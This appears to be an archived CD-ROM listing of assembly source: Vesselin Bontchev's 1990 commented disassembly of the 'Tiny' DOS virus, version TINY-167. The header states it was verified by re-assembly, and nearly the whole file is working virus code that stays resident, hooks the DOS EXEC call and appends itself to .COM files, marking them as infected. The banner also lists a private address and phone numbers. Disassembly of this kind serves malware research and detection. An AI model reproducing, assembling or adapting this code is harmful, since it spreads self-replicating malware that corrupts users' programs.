home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TINY-167.ASM < prev    next >
Assembly Source File  |  1990-07-09  |  4KB  |  177 lines

  1.     page    ,132
  2.     name    TINY167
  3.     title    The 'Tiny' virus, version TINY-167
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║             The 'Tiny' Virus, version TINY-167                  ║
  11. ; ║            Disassembled by Vesselin Bontchev, July 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. seg_60    equ    600
  27. v_len    equ    v_end-first4
  28.  
  29. start:
  30.     call    v_entry     ; Jump to virus code
  31.     db    'M'             ; Virus signature
  32.     mov    ax,4C00     ; Program terminate
  33.     int    21
  34.  
  35. ; The original first 4 bytes of the infected file:
  36.  
  37. first4    db    0EBh, 2, 90, 90
  38.  
  39. v_entry:
  40.     pop    si        ; Determine the start addres of the virus body
  41.     add    si,[si-2]
  42.  
  43. ; Save the original first 4 bytes of the infected file on the stack:
  44.  
  45.     push    word ptr ds:[si-4]
  46.     push    word ptr ds:[si-2]
  47.  
  48.     push    ax        ; Save AX (to keep programs as DISKCOPY happy)
  49.  
  50.     mov    di,seg_60+4    ; Point ES:DI at 0000:0604h (i.e, segment 60h)
  51.     xor    cx,cx        ; ES := 0
  52.     mov    es,cx
  53.     mov    cl,v_len-2    ; CX := virus length
  54.     lodsw            ; Check if virus is present in memory
  55.     scasw
  56.     je    run        ; Just run the program if so
  57.  
  58. ; Virus not in memory. Install it there:
  59.  
  60.     dec    di        ; Adjust DI
  61.     dec    di
  62.     stosw            ; Store the first word of the virus body
  63.     rep    movsb        ; Store the rest of the virus
  64.  
  65.     mov    di,32*4     ; Old INT 21h handler will be moved to INT 32h
  66.     mov    cl,2        ; The vector is 2 words long
  67.     mov    ax,int_21-first4+seg_60        ; Offset
  68.  
  69. ; Move the INT 21h handler to INT 32h and
  70. ; install int_21 as new INT 21h handler:
  71.  
  72. vect_cpy:
  73.     xchg    ax,word ptr es:[di-(32-21)*4]
  74.     stosw
  75.     mov    ax,es        ; Segment
  76.     loop    vect_cpy    ; Loop until done
  77.  
  78. run:
  79.     mov    di,offset start ; Point DI at program start
  80.     pop    ax        ; Restore AX
  81.     pop    word ptr ds:[di+2]    ; Restore the original first 4 bytes
  82.     pop    word ptr ds:[di]    ;  of the file
  83.     push    ds        ; ES := DS
  84.     pop    es
  85.     jmp    di        ; Go
  86.  
  87. int_21:             ; New INT 21h handler
  88.     cmp    ax,4B00     ; EXEC function call?
  89.     jne    end_21        ; Exit if not
  90.  
  91.     push    ax        ; Save registers used
  92.     push    bx
  93.     push    cx
  94.     push    dx
  95.     push    di
  96.     push    ds
  97.     push    es
  98.  
  99.     push    cs        ; ES := CS
  100.     pop    es
  101.  
  102.     mov    ax,3D02     ; Open the file for both reading and writting
  103.     int    32
  104.     jc    end_exec    ; Exit on error
  105.     xchg    bx,ax        ; Save the file handle in BX
  106.  
  107.     mov    ah,3F        ; Read the first 4 bytes of the file
  108.     mov    cx,4        ; 4 bytes to read
  109.     mov    dx,seg_60    ; Put them in first4
  110.     mov    di,dx        ; Save first4 address in DI
  111.     push    cs        ; DS := CS
  112.     pop    ds
  113.     int    32        ; Do it
  114.  
  115. ; Check whether the file is already infected or is an .EXE file.
  116. ; The former contains the character `M' in its 3rd byte and
  117. ; the latter contains it either in the 0th or in the 1st byte.
  118.  
  119.     push    di        ; Save DI
  120.     mov    al,'M'          ; Look for `M'
  121.     repne    scasb
  122.     pop    di        ; Restore DI
  123.     je    close        ; Exit if file not suitable for infection
  124.  
  125.     mov    ax,4202     ; Seek to the end of file
  126.     xor    cx,cx
  127.     xor    dx,dx
  128.     int    32        ; Do it
  129.  
  130.     push    ax        ; Save file length
  131.  
  132.     mov    dh,6        ; DX = 600h, i.e. point it at 0000:0600h
  133.     mov    cl,v_len    ; Length of virus body
  134.     mov    ah,40        ; Append virus to file
  135.     int    32        ; Do it
  136.  
  137.     mov    ax,4200     ; Seek to the file beginning
  138.     xor    cx,cx
  139.     xor    dx,dx
  140.     int    32        ; Do it
  141.  
  142.     mov    dx,di        ; Point DX at first4
  143.     mov    al,0E8        ; Near CALL opcode
  144.     stosb            ; Form the first instruction of the file
  145.     pop    ax        ; Restore file length in AX
  146.     inc    ax
  147.     stosw            ; Form the CALL's opperand
  148.     mov    al,'M'          ; Add a `M' character to mark the file
  149.     stosb            ;  as infected
  150.  
  151.     mov    cl,4        ; Overwrite the first 4 bytes of the file
  152.     mov    ah,40
  153.     int    32        ; Do it
  154.  
  155. close:
  156.     mov    ah,3E        ; Close the file
  157.     int    32
  158.  
  159. end_exec:
  160.     pop    es        ; Restore used registers
  161.     pop    ds
  162.     pop    di
  163.     pop    dx
  164.     pop    cx
  165.     pop    bx
  166.     pop    ax
  167.  
  168. ; Exit through the original INT 21h handler:
  169.  
  170. end_21:
  171.     jmp    dword ptr cs:[32*4]
  172.  
  173. v_end    equ    $        ; End of virus body
  174.  
  175. code    ends
  176.     end    start
  177.